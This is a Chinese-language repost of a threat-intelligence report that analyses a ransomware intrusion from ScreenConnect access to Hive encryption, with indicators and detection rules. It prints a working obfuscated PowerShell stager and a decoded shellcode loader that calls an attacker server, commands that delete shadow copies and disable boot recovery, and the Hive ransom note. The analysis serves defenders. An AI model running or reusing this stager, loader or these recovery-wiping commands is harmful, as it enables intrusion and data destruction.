在这些情况下,DLL 被认为是新使用的23.108.57[.]83:443 ( sodiwugoc[.]com ) 命令和控制基础设施的 Cobalt Strike 信标。
Fileless
除了 DLL 之外,攻击者还执行了一项无文件横向移动,其中远程服务触发了以下 PowerShell stager。
C:Windowssystem32cmd.exe /b /c start /b /min powershell.exe -nop -w hidden -noni -c "if([IntPtr]::Size -eq 4){$b='powershell.exe'}else{$b=$env:windir+'syswow64WindowsPowerShellv1.0powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-noni -nop -w hidden -c &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String(''H4sIAOZQUWMCA7VWbW/aSBD+nEj5D1aFZFshGAfaNJEq3ZpXE5xADATCodNir+2FtQ32GgK9/vcbg52m17RqTzorL+vdmdmZZ56ZsZMEFqdhIJBJXfh8dnrSwxH2BanAW4uiUOADP1rLJydwUAjeC58EaYpWq3roYxrMbm5qSRSRgB/fSy3CURwTf84oiSVZ+Ft49EhELu7nC2Jx4bNQ+KvUYuEcs0xsV8OWR4QLFNjpWTe0cOpLyVwxyiXxzz9FeXqhzkqNdYJZLInmLubEL9mMibLwRU4vHOxWRBINakVhHDq89EiDymVpGMTYIXdgbUMMwr3QjkUZYoCfiPAkCgSIJlU/HkoiLHtRaCHbjkgci0VhmhqezmZ/SNPs1ock4NQnJT3gJApXJok21CJxqY0Dm5EH4sxAy+QRDdyZLIPYJlwSqRAkjBWF3zEj3ZFtjtmvKkmvlUCqxyO5CFn8LkojtBNGjnriG26meZfheck9wPbl7PTs1MmJ4rHXPIHVyfSwJuCa1AtjepD6JJSLggHXYB5GO3gtDKKEyLMXYIXCrv/wUPyxvpoLg+jWgo3pKKT2DBSyTBY2w9TwTwhZJw4NSH0XYJ9aOeekt/AlDiOH8Eq52B14JInZAbHrhBEX8xSzNM3fqTV8yl90tYQym0TIghzF4BWkT/7WmWMaJFEPDOIDQMd34F3BAaaTXDpj9y6/PX0HIbHGcBwXhV4CpWYVBZNgRuyigIKYZkco4eFhKX5110gYpxaOeW5uJmcwZtfVwiDmUWJByiD0gbkiFsUsRaIotKlNtJ1J3fxa8U0capgxqACwtIE8wE4av8lTIkTg4SHpcskkXPdXjPggcyj5JsMuFHjG8wNzsEts8V8O5kQ+sjZFIofglXuQXpOFvCiMaMShcaSobq3/dverhpF6UYtIlgUpr4uptuMpnwse73yspXzMQDlAEHEIvxmFvoZj8qF6bA/SO+We1hA8Ez1ghqUtqYq2VNUN+B3Sih7Wr+zbzqKtRPVnz0F6rBvtXr3fblc3HXNU5WZD57c9nRuN8WJhovbDcMKfdNQe0PJyUt2vOnRvdpE9eVY+7LX9tqw97xeu7UzqjuNeOeaD+r5Ju4+1vla+xN16I+k+alutXI0bdNvu02F/2Wny+WTE8NBR3LF6jelzN1qM1NDY6wi1vIq17zijlmfYu0mbkoVS7tI+6iN0az0Mhy135bZipFyP1ggGwIfapoORjhqjXec90/rDpoaGDa2P78Ne5byuqE/2utF8GuOOz+xWW1EnY2SjSBm4nnp17wUpTtjV1loqg7pPu6YCMr0qalcv6f5p3W+5qAEyIz9EuEmXw/Mx2LwbgM7jULVDxAN9rCgjV3GRY3oTjDSQ1taoqYW13cee0VNGo0tPnS9VD3wm481Ho4POm1ZPUZRzfw5/FWQZq+dgrG2vNm7bDG/xLR5tniqKOti2HLRG5+eaqs15u1HpbODegXI9/PQu5Q8QqBA8Xr+ixY9auYGj2MMM6AJdOi/QZhg1s77bC2mqIUnpoF6SKCAMBh2MwpzmiLHQSps+NGgYN8chkM6kISwrl2+uZOFFUP46DPKtm5sncBEK50DtUpcELveK5edKuQzNvfxcLUOIvx5XLVztpKOtYjodUmBejLODcTmtqEI818P/FbGsjD34Z/8csa97Pzn9JRTLxUO83+1+u/FbgP5u2I+YchA0oQUxchyAb0WfUePVx0GaEMi7kz3pl919wi/u4Jvh7PQfmcFDmkIKAAA=''))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);"
使用 PowerShell 日志的事件4104(PowerShell 脚本跟踪和日志记录的一部分),可以恢复解码的 PowerShell,在本例中,PowerShell 将 shellcode 执行到 PowerShell 进程本身中。
function eYD {
Param ($tGj, $tTmrq)
$n5 = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
return $n5.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($n5.GetMethod('GetModuleHandle')).Invoke($null, @($tGj)))), $tTmrq))
}
function hl {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $yQRR,
[Parameter(Position = 1)] [Type] $wc = [Void]
)
$vUy = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$vUy.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $yQRR).SetImplementationFlags('Runtime, Managed')
$vUy.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $wc, $yQRR).SetImplementationFlags('Runtime, Managed')
return $vUy.CreateType()
}
[Byte[]]$htJ8C = [System.Convert]::FromBase64String("/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiLWCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1oMzIAAGh3czJfVGhMdyYHiej/0LiQAQAAKcRUUGgpgGsA/9VqAWhe6CvJaAIAEVyJ5lBQUFBAUEBQaOoP3+D/1ZdqEFZXaJmldGH/1YXAdAr/Tgh17OhnAAAAagBqBFZXaALZyF//1YP4AH42izZqQGgAEAAAVmoAaFikU+X/1ZNTagBWU1doAtnIX//Vg/gAfShYaABAAABqAFBoCy8PMP/VV2h1bk1h/9VeXv8MJA+FcP///+mb////AcMpxnXBw7vgHSoKaKaVvZ3/1TwGfAqA++B1BbtHE3JvagBT/9U=")
$nW9 = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((eYD kernel32.dll VirtualAlloc), (hl @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $htJ8C.Length,0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($htJ8C, 0, $nW9, $htJ8C.length)
$sbIo = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((eYD kernel32.dll CreateThread), (hl @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$nW9,[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((eYD kernel32.dll WaitForSingleObject), (hl @([IntPtr], [Int32]))).Invoke($sbIo,0xffffffff) | Out-Null
与之前的 shellcode 的情况一样,该 stager 使用94.232.43[.]201:4444中的 websockets 检索下一个阶段。
Exfiltration
两天零 11 小时后,威胁参与者将Rclone投放到文件服务器上,并通过 SFTP 将多个文件泄露到190.2.146[.]96:22。命令中的拼写错误以及泄露文件所需的时间表明泄露是手动发生的(手动键盘活动):
在受控环境中,从网络角度可以轻松发现渗漏,因为与通常的流量相比,渗漏的数据量非常高:
我们在之前的几份报告中报道了 Rclone 的使用情况。此外,NCC Group 的这篇博客是了解通过 Rclone 进行的渗漏并使用 Sigma 规则检测此活动的重要资源。
命令与控制
在整个入侵过程中,建立了多个指挥与控制渠道。一些渠道依赖于合法的 RMM 服务(ScreenConnect、Atera 和 Splashtop),而其他工具则专门针对对手(Cobalt Strike、Metasploit)。以下时间序列(对数刻度)概述了不同工具生成的流量,突出显示了它们的部署和使用顺序。
最有趣的是,仅从网络角度来看,如何在渗透和影响阶段之前的几小时/分钟内观察到活动的急剧异常增加。这种没有新感染的 C2 模式破裂为事件响应者提供了对手意图即将发生变化的潜在迹象。
从上述对数尺度来看,大约 1 小时 30 分钟的 Rclone 渗漏占攻击者产生的网络流量的 90% 以上。
Cobalt Strike
Metasploit
ScreenConnect
影响
完成渗透后,威胁行为者就进入了影响阶段。首先,他们更改了管理员帐户的密码,一小时后,他们开始部署勒索软件。
从以下进程创建日志中可以看出,勒索软件既通过信标执行,又通过打开命令解释器 ( cmd.exe ) 以交互方式执行。一旦关键系统被加密,威胁行为者就会通过最终的网络共享加密(-network-only)来完成其影响。
为了避免威胁情报公司在样本在线泄露时进行分析,勒索软件可执行文件要求通过命令行参数-u提供聊天凭据。
作为加密的一部分,勒索软件通过删除所有卷影副本和更改启动设置来抑制系统恢复。
"C:WindowsSystem32wbemWMIC.exe" shadowcopy delete
"C:WindowsSystem32vssadmin.exe" delete shadows /all /quiet
"C:WindowsSystem32bcdedit.exe" /set {default} recoveryenabled No
"C:WindowsSystem32bcdedit.exe" /set {default} bootstatuspolicy ignoreallfailures
加密后,勒索字条将写入C:UsersDefaultHOW_TO_DECRYPT.txt,当访问该文件时,会发现勒索软件操作是现在被夺取的Hive。
Your network has been breached and all data were encrypted.
Personal data, financial reports and important documents are ready to disclose.
To decrypt all the data and to prevent exfiltrated files to be disclosed at
http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/
you will need to purchase our decryption software.
Please contact our sales department at:
http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/
Login: REDACTED
Password: REDACTED
To get an access to .onion websites download and install Tor Browser at:
https://www.torproject.org/ (Tor Browser is not related to us)
Follow the guidelines below to avoid losing your data:
- Do not modify, rename or delete *.key files. Your data will be
undecryptable.
- Do not modify or rename encrypted files. You will lose them.
- Do not report to the Police, FBI, etc. They don't care about your business.
They simply won't allow you to pay. As a result you will lose everything.
- Do not hire a recovery company. They can't decrypt without the key.
They also don't care about your business. They believe that they are
good negotiators, but it is not. They usually fail. So speak for yourself.
- Do not reject to purchase. Exfiltrated files will be publicly disclosed.
为了实现全域影响,威胁参与者尝试部署组策略对象 (GPO)。可以通过使用gpme.msc(组策略管理编辑器)来观察此 GPO 的创建。
文件创建事件突出显示威胁参与者如何针对新创建的组策略在用户配置中创建计划任务。此计划任务旨在每天从网络共享执行勒索软件。然而,此设置无法在域范围内部署勒索软件,因为应在计算机配置中定义此类计划任务。这导致仅在威胁行为者手动运行勒索软件的主机上成功加密。
时间线
钻石模型
指标
Atomic
由于这次入侵发生于 2022 年,我们建议防御者质疑可能过时的基于网络的指标(例如 IP)的相关性。
# Cobalt Strike C2
31.41.244[.]192
23.108.57[.]83
sodiwugoc[.]com
# Metasploit
94.232.43[.]201
# Rclone Exfiltration
190.2.146[.]96
Computed
以下哈希(SHA256、SHA1、MD5 和可选的 IMPHASH)表示对手项目。
# ScreenConnect Installer (C:UsersREDACTEDAppDataLocalTempsetup.msi)
81997F4404FEBFB9C23F2F3939934513D499593750B4A4826C32878E05B83F30
1107586E676B0DF849948C5A5501CDEC1C72AF9E
5B4B0713FC9A9B203A9FC2393F26439E
# ScreenConnect Scripts
## C:WindowsTempScreenConnect22.8.9717.8313700893a5-90ad-456f-b9a8-7ce8e2f291afrun.ps1
D04E7E776EA28AF69381E346A1BF86BE5F5E4715003F7048783E7D1F049B1BD2
93A2CAE74FC883B88049C6C1F92BFD9A45B5881D
3DF36FB3A469CFE6172A65ED8CF7C8F3
## C:WindowsTempScreenConnect22.8.9717.8313de873d67-cd59-4075-9a9a-aa1d3cd0817erun.ps1
F6834C4A5BB01A7D3A43B11A4792F8149714E4D1B271810F79772E50B6395615
7B9543925CAA83A5145FF5F419D5EBA6F0819133
BAC73D85EFC48B0517F4E0CC3DDEBB65
## C:WindowsTempScreenConnect22.8.9717.83136142516f-9df2-40fa-b575-87f111d56411run.cmd
7C89590CEA3B702C84D3B1A566705067D4BDE1B97ECD160D553FF1380E0EF5A6
08439255DF7A9FA5553D5BD1CDC5291327FAD1C4
813E3BD0C15DBC0A394CD030C508BA84
## C:WindowsTempScreenConnect22.8.9717.83134b31bad0-8850-4a8c-83e3-efe0d39d36c8run.cmd
59CB534E02A16FD3D21D1BA5D34EE15E665D7A955751171249563D1192AA33E4
3DDB8CA1B50E240736BB4B86FDFF00FFC79D8C47
ACAE4CC666AB060797ABB92F02E94327
## C:WindowsTempScreenConnect22.8.9717.8313d33a41b1-606a-4a18-8030-8df1578ae248run.cmd
DF024E7AE2FF6CEF51EE80D30F10F94233A5DDD62DA22ECF3C6AB3EBC293264B
6CC49BD84647C6DEA09609689D5F5DFB58BDCE09
578188E75C3FB543D04930DEA547CFAA
## C:WindowsTempScreenConnect22.8.9717.8313fa9f4f97-996e-4753-9957-936eec5b7d1arun.cmd
D51E34A47A79465A0EF3916FE01FE667E8E4281EF3B676569E6A1A33419E51EA
21EF9F0A078DBC4E4C45BE12F1CFAF8A3864DFA7
5FB4780E00B965F8454EF28BC61C0605
## C:WindowsTempScreenConnect22.8.9717.8313352a8d52-3f6d-4fe3-919c-1e6abc5145cbrun.cmd
99A54FF551197D131477152D3D27E38787CA949FFDBB041F15752767EFE1E645
265137BDEF97FE25CA0B23CE6D3DD4AB501AB7B5
F0AAC1F299148638688C067F2029D27A
## C:WindowsTempScreenConnect22.8.9717.8313c896bba0-8476-4a90-bc8e-c0af107b8a82run.cmd
03EE627A2557D83D28A90857678966709EC24582434A5D2F0653012B088276D1
F479CDB6A34462C664FAD0051F4BD5CFE84017E0
BC19BF002CD9B7E0AE90FE7374755639
## C:WindowsTempScreenConnect22.8.9717.83137c731819-bd1a-46b7-9be5-30585a8551bbrun.cmd
02F4B8D558EDB290FAE03B8F1A7B412E988EAB3738D11EDB7D59890C784EDB68
4AC2A4FABAB8EB621130B979642F239B19B37330
7D0F3C5AD18ABE8C4F7270D115E910F2
## C:WindowsTempScreenConnect22.8.9717.83136a60db01-fb3d-4dfc-b81c-ed76379fc364run.cmd
336074805FC853987ABE6F7FE3AD97A6A6F3077A16391FEC744F671A015FBD7E
714EEA0F4C980736BDE0065FE73F573487F08E3A
07CC694B9B3FC636710FA08B6922C42B
# Trojanized ApacheBench (C:WindowsTempP6nqEdwk.exe)
9B39887828999F7F3916262574C46B835D38F200FCD3C07C2BBE9A83C9F935A9
080B77C2D5E94E86607CBE462224FF46B20B6288
CAB4CBEF593DB0F14ED4ADF041ECD6B1
481F47BBB2C9C21E108D65F52B04C448
# Atera Installer (C:programdatasetup.msi)
DBE18FFC724931DEE3EA99C75C9B4EA8E27B228E19508211689CC7C3249680D3
C27DD709E7122E782DD0C8B2E3A2709B6622BED4
947A9B0FA0B5F6FEFB4FCA98D577EBDB
# Mimikatz (C:ProgramDatam2.exe)
197B8CCDDB54C39049B308A9A5037DC7BF7D3689BDC759504F3C36D483BEB9D3
1FEBDC5ADE9D979CDD800C330AD5D875C5BF160B
AF25483D713A3BBB87483340CCFF0B31
17E022F96085B5DE3A2CD85F7CC791CA
# C:ProgramDataadcomp.bat
4AA4EE8EFCF68441808D0055C26A24E5B8F32DE89C6A7A0D9B742CCE588213ED
B658AB9AC2453CDE5CA82BE667040AC94BFCBE2E
EB2335E887875619B24B9C48396D4D48
# C:WindowsTempunpacksetup.msi
F25863DAA1AD0104B25B91581F7B1CC4F65CA63FF4D1BB956ECD3F9350E365A5
1DD933817806728380FD1AEE46D9F8D42251EA7F
59216909D3E63903D2426272EC72FE61
# Rclone (C:ProgramDatarclonerclone.exe)
F1C87C2A32B1F0D2210A12EBCB1D3146B54E3BB5DB3FB97DBD81FE123D411632
940355F1CEDE7793190886AECC9D15D42A62C1FA
B3FF5B773388E741559D6D9FCA914D9C
9ED01AB5DA47D5D90680F44088D41DD1
# Netscan (C:ProgramDatanetscannetscan.exe)
E14BA0FB92E16BB7DB3B1EFAC4B13AEE178542C6994543E7535D8EFAA589870C
39300863BCAAD71E5D4EFC9A1CAE118440AA778F
A768244CA664349A6D1AF84A712083C0
8E081065872436B21EF3B90597247997
# Metasploit (C:ProgramDatac64.dll, C:ProgramDatax2.dll)
34452711502C9304DB8745510F96AA644481162C389F591147327F54D4AE3727
F3741EAE58E9053773FEC7C01472862933E3B91A
ED70A46CA74BE495AEFA84FCFDCA48EC
83F0993D7B939D94887D773073847DED
# Hive Ransomware (C:windows_x64_encrypt.exe, C:ProgramDatawindows_x64_encrypt.exe)
14F00D914CCD46553FB30933FBE691E22E5197AD6A32BC076BA19935EBB7E5AA
7D51D3D2AC2F16672CAE331A48431B8CCB9F0820
3B375E1765628817FD2EB01240C7D262
04133426D49D0049E9825522E2A41306
# Scheduled Task GPO (C:WindowsSysvoldomainPolicies{EE3DB3D4-92F9-4A97-8E8F-364A02A6E5D1}UserPreferencesScheduledTasksScheduledTasks.xml)
10525032A7595DF974A9649042ACAB0FDA5C1E5A59297AD1709BBF463ADB2E50
37AF04902E237A19EFFDF09E8B106C0309717233
E6EC25A3D448A1490AC10C239A001570
Detections
Network
ET ATTACK_RESPONSE PowerShell Base64 Encoded Content Command Common In Powershell Stagers M2
ET ATTACK_RESPONSE PowerShell NoProfile Command Received In Powershell Stagers
ET HUNTING GENERIC SUSPICIOUS POST to Dotted Quad with Fake Browser 1
ET HUNTING PE EXE Download over raw TCP
ET HUNTING PowerShell Hidden Window Command Common In Powershell Stagers M1
ET HUNTING PowerShell NonInteractive Command Common In Powershell Stagers
ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
ET INFO Splashtop Domain (splashtop .com) in TLS SNI
ET INFO Splashtop Domain in DNS Lookup (splashtop .com)
ET INFO Suspected Impacket WMIExec Activity
ET MALWARE Cobalt Strike Beacon Observed
ET MALWARE Possible Metasploit Payload Common Construct Bind_API (from server)
ET POLICY Command Shell Activity Using Comspec Environmental Variable Over SMB - Very Likely Lateral Movement
ET POLICY PE EXE or DLL Windows file download HTTP
ET POLICY Powershell Activity Over SMB - Likely Lateral Movement
ET POLICY Powershell Command With Hidden Window Argument Over SMB - Likely Lateral Movement
ET POLICY Powershell Command With No Profile Argument Over SMB - Likely Lateral Movement
ET POLICY Powershell Command With NonInteractive Argument Over SMB - Likely Lateral Movement
ET POLICY SMB Executable File Transfer
ET POLICY SMB2 NT Create AndX Request For a DLL File - Possible Lateral Movement
ET POLICY SMB2 NT Create AndX Request For an Executable File
ET RPC DCERPC SVCCTL - Remote Service Control Manager Access
ET SCAN Behavioral Unusual Port 445 traffic Potential Scan or Infection
Sigma
Sigma Repo
Atera Agent Installation - 87261fb2-69d0-42fe-b9de-88c6b5f65a43
CobaltStrike Named Pipe - d5601f8c-b26f-4ab0-9035-69e11a8d4ad2
Credential Dumping Tools Accessing LSASS Memory - 32d0d3e2-e58d-4d41-926b-18b520b2b32d
Rare GrantedAccess Flags on LSASS Access - 678dfc63-fefb-47a5-a04c-26bcf8cc9f65
DNS Query To Remote Access Software Domain - 4d07b1f4-cb00-4470-b9f8-b0191d48ff52
HackTool - Potential Impacket Lateral Movement Activity - 10c14723-61c7-4c75-92ca-9af245723ad2
Persistence and Execution at Scale via GPO Scheduled Task - a8f29a7b-b137-4446-80a0-b804272f3da2
PowerShell Base64 Encoded IEX Cmdlet - 88f680b8-070e-402c-ae11-d2914f2257f1
PowerShell Download and Execution Cradles - 85b0b087-eddf-4a2b-b033-d771fa2b9775
PUA - Rclone Execution - e37db05d-d1f9-49c8-b464-cee1a4b11638
Remote Access Tool - ScreenConnect Execution - 57bff678-25d1-4d6c-8211-8ca106d12053
Usage Of Web Request Commands And Cmdlets - 9fc51a3c-81b3-4fa7-b35f-7c02cf10fd2d
Suspicious Encoded PowerShell Command Line - ca2092a1-c273-4878-9b4b-0d60115bf5ea
Suspicious Group And Account Reconnaissance Activity Using Net.EXE - d95de845-b83c-4a9a-8a6a-4fc802ebf6c0
Suspicious PowerShell IEX Execution Patterns - 09576804-7a05-458e-a817-eb718ca91f54
Suspicious Reconnaissance Activity - d95de845-b83c-4a9a-8a6a-4fc802ebf6c0
Wmiexec Default Output File - 8d5aca11-22b3-4f22-b7ba-90e60533e1fb
JoeSecurity Repo
Shadow Copies Deletion Using Operating Systems Utilities - c947b146-0abc-4c87-9c64-b17e9d7274a2
转载来源:https://thedfirreport.com/2023/09/25/from-screenconnect-to-hive-ransomware-in-61-hours/
图片来源网络侵权可联系删除